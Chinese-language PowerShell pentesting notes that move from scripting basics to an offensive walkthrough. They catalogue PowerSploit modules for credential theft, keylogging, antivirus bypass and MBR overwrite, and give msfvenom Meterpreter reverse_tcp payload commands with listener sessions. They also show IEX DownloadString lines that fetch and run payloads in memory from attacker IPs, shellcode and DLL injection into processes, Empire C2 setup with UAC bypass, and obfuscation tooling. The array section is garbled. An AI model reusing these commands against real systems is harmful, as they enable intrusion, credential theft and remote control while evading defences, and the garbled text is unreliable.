https://www.pstips.net/powershell-online-tutorials 信息网站
Powershell是一种命令行shell和脚本环境.通过使用powershell,用户和脚本编写者可以对windows系统进行管理.
优点:
Windows7 以上操作系统默认安装.
Powershell脚本可以运行在内存中,无需写入磁盘(文件不落地)
可以调用.net类(C#)
可以用来管理活动目录
远程下载payload来执行
1.ps1 文件
一个powershell就是一个简单的文本文件,这个文件中包含了一系列powershell命令,每个命令为独立的一行,对于被视为powershell脚本的文本文件,文件名需要使用.PS1作为后缀
execution_policy 执行策略
2.执行策略
Powershell基于安全性的考虑,带有一个执行策略的选项.在默认情况下,该执行策略为受限的.如果powershell无法执行,可以尝试先使用
Get-ExecutionPolicy 这个策略来获得可能的策略:
1.Restricted 脚本不能执行
2.RemoteSigned:本地创建的脚本可以执行,但从网上下载的不能(有数字证书的除外)
3.AllSigned:仅当脚本由受信任的发布者签名时才能运行
4.Unrestricted:允许所有script脚本执行
可以使用:
Set-ExecutionPolicy 来选择使用的策略
运行一个powershell脚本需要指定执行脚本的路径,但是如果该脚本位于系统目录中,那么直接在命令符后输入脚本文件名即可执行.
Set-ExecutionPolicy
Get-ExecutionPolicy
Get-Help
主题 Windows PowerShell 帮助系统
Get-Alias
获取当前会话中的所有别名
获取别名之后你会发现,有很多和linux相通的命令 cd ls tee …
关于Cmdlets
powershell里重要的命令集合
以.net形式存在
Get-Command -CommandType cmdlet 命令可以获取其命令集
start-process
start-process notepad.exe
Get-Process
获取指定的进程
Get-Content
类似cat
Get-Location
类似pwd
Copy-Item
cp
Move-Item
mv
Get-Process
Get-Process chrome
alias 别名
xxxx-xxxx
start-process
function add_diy($a, $b){
return $a + $b;
}
add_diy 100 99;
-le ===> less than or equal
-lt ===> less than
-gt ===> greater than
-ge ====> greater than or equal
计算100以内的质数
$i,$n,$k = 0 #定义变量初值为0
for($n =2;$n -le 100;$n++){
$i =2
while($i -le $n){
if($n%$i -eq 0){
break
}
$i++
}
if($i -eq $n){
$k++
echo("$i")
}
}
运算符
· >:将输出保存到指定文件中(用法:Get-Process>output.txt)
· >>:将脚本的输出追加到指定文件中(用法:test.ps1>>output.txt)
· 2>:将错误输出到指定文件中(Get-Porcess none 2>Errors.txt)
· 2>>:将错误追加到指定文件中(Get-Process none 2>> logs-Errors.txt)
· -eq:等于运算符(用法:$var1 –eq $var2,返回真或假)
· -gt:大于运算符(用法:$var1 –gt $var2,返回真或假)
· -match:匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string返回真或假)
· -replace:替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
· -in:测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()
数组
A
r
r
a
y
=
v
a
l
u
e
1
,
v
a
l
u
e
2
,
v
a
l
u
e
3
语
句
条
件
语
句
I
f
(
Array = value1, value2, value3 语句 条件语句 If(
Array=value1,value2,value3语句条件语句If(var {comparison_statement} $var2) { What_To_Do)}
Else {what_to_do_if_not}
循环语句
· While () {}
· Do {} While()
· For(;; {}
Powersploit的使用下载地址: https://github.com/PowerShellMafia/PowerSploit
使用场景:信息探测,特权提升,凭证窃取,持久化
常用的cmdlets:具体如下:
Invoke-DllInjection.ps1
Invoke-Shellcode.ps1
Invoke-wmiCommand.ps1
Get-GPPPassword.ps1
Get-Keystrokes.ps1
Get-TimedScreenshot.ps1
等等
CodeExecution 在目标主机执行代码
ScriptModification 在目标主机上创建或修改脚本
Persistence 后门脚本(持久性控制)
AntivirusBypass 发现杀软查杀特征
Exfiltration 目标主机上的信息搜集工具
Mayhem 蓝屏等破坏性脚本
Recon 以目标主机为跳板进行内网信息侦查
Privesc 跟权限提升有关的脚本
一、AntivirusBypass(绕过杀毒)
Find-AVSignature 发现杀软的签名
二、CodeExecution(代码执行)
- Invoke-DllInjection.ps1 DLL注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限
- Invoke-ReflectivePEInjection.ps1 反射型注入 将Windows PE文件(DLL / EXE)反射加载到powershell进程中,或反射地将DLL注入远程进程
- Invoke-Shellcode.ps1 将shellcode插入您选择的进程ID或本地PowerShell中
- Invoke-WmiCommand.ps1 在目标主机使用wmi执行命令
三、Exfiltration(信息收集) #这个文件夹主要是收集目标主机上的信息 - Out-Minidump.ps1 生成一个进程的全内存小数据库
- Get-VaultCredential.ps1 显示Windows徽标凭据对象,包括明文Web凭据
- Get-Keystrokes.ps1 记录按键,时间和活动窗口
- Get-GPPPassword.ps1 检索通过组策略首选项推送的帐户的明文密码和其他信息
- Get-GPPAutologon.ps1 如果通过组策略首选项推送,则从registry.xml检索自动登录用户名和密码
- Get-TimedScreenshot.ps1 这是一个以定期间隔拍摄屏幕并将其保存到文件夹的功能
- Invoke-Mimikatz.ps1 查看主机密码
- Invoke-NinjaCopy.ps1 通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件
- Invoke-CredentialInjection.ps1 使用明文凭据创建登录,而不会触发可疑事件ID 4648(显式凭证登录)
- Invoke-TokenManipulation.ps1 列出可用的登录令牌。与其他用户创建进程登录令牌,并模仿当前线程中的登录令牌
- Get-MicrophoneAudio.ps1 通过麦克风记录声音
- VolumeShadowCopyTools.ps1
四、Recon(信息侦察) #这个文件夹主要是以目标主机为跳板进行内网主机侦察 - Invoke-Portscan.ps1 端口扫描
- Get-HttpStatus.ps1 返回指定路径的HTTP状态代码和完整URL,并附带字典文件
- Invoke-ReverseDnsLookup.ps1 扫描DNS PTR记录的IP地址范围
- PowerView.ps1 PowerView是一系列执行网络和Windows域枚举和利用的功能
5.Get-ComputerDetails 获得登录信息
五、ScriptModification(脚本修改) - Out-EncodedCommand.ps1 将脚本或代码块编码,并为PowerShell有效载荷脚本生成命令行输出
- Out-EncryptedScript.ps1 加密文本文件/脚本
- Out-CompressedDll.ps1 压缩,Base-64编码,并输出生成的代码,以将受管理的DLL加载到内存中
- Remove-Comments.ps1 从脚本中删除注释和多余的空白
六、Persistence(权限维持) - New-UserPersistenceOption 为添加持久性函数配置用户级持久性选项。
- New-ElevatedPersistenceOption 为添加持久性函数配置提升的持久性选项。
- Add-Persistence 向脚本添加持久性功能
- Install-SSP 安装安全支持提供程序(ssp)dll
- Get-SecurityPackages
七、Privesc(提权)
PowerUP: 共同特权升级检查的信息交换所,以及一些武器化载体
Get-System
八、Mayhem
Set-MasterBootRecord 选择的消息覆写主引导记录
Set-CriticalProcess 退出powershell时使系统蓝屏
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.142
lport=22113 -f exe -o /home/kali/Desktop/2022_4_19.exe
python3-m http.server 7777
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/
Display all 216 possibilities? (y or n)
msf5 exploit(multi/handler) > set payload windows/
[-] The value specified for payload is not valid.
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.121.142
lhost => 192.168.121.142
msf5 exploit(multi/handler) > set lport 22113
lport => 22113
msf5 exploit(multi/handler) > exploit
-f exe 生成exe程序 exe很容易查杀
-f powershell
sfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.142 lport=22114 -f powershell -o /home/kali/Desktop/new_pow.ps1
Import-Module .Invoke-Shellcode.ps1
Get-Alias iex
IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.226.142:8888/new_pow.ps1’)
从kali linux 的8888端口下载生成的powershell 代码
然后将下载的内容放置到内存中执行
开启监听
msf5 exploit(multi/handler) > user exploit/multi/handler [-] Unknown command: user. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.226.142 lhost => 192.168.226.142 msf5 exploit(multi/handler) > set lport 22114 lport => 22114 msf5 exploit(multi/handler) > exploit
不一定成功需要一个一个是 注入进程
Invoke-Shellcode -Shellcode @($buf) -ProcessId 1868 注入进程的id
invoke-dllinjection
将kali linux 生成的dll dynamic link library 动态链接库 加载内存中执行
iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.19 lport=12345 -f dll -o /home/kali/Desktop/1.dll
Invoke-DllInjection -ProcessID 进程id -Dll 1.dll
开启监听
iex(New-Object Net.WebClient).DownloadString("htp://192.168.226.142:9999/InvokeDllInjection.ps1")
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.226.142 lport=12345 -f dll -o /home/kali/Desktop/1.dll
Invoke-DllInjection -ProcessID 进程id -Dll 1.dll
远程加载
empire 是一个针对内网针对域控的一个渗透测试框架,和 msf 类似。其中集成了很多内网的一些工具以及命令,使用方便,且 empire 生成的木马文件基于 powershell,所以在 windows 平台上有很好的免杀效果。结合 msf 使用更是如虎添翼。
https://github.com/BC-SECURITY/Empire
安装
apt-get update
pip install python3-tornado
pip install powershell-empire
https://bc-security.gitbook.io/empire-wiki/quickstart/installation
apt-get install mitmproxy
powershell-empire server 开启服务器
powershell-empire client 客户端
端口没有设置
设置监听器
Listener 为 True 必须设置
运行
连接成功
interact 交互
获取密码
help 各种模块
download 模式 下载文件
目标文件位置
psinject http 4684
自动提权 bypassuac http
自动 提权
通过使用-ExecutionPolicy bypass 来进行本地策略的绕过
https://github.com/danielbohannon/danielbohannon.github.io/blob/master/Invoke-Obfuscation%20Screenshot.png
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation



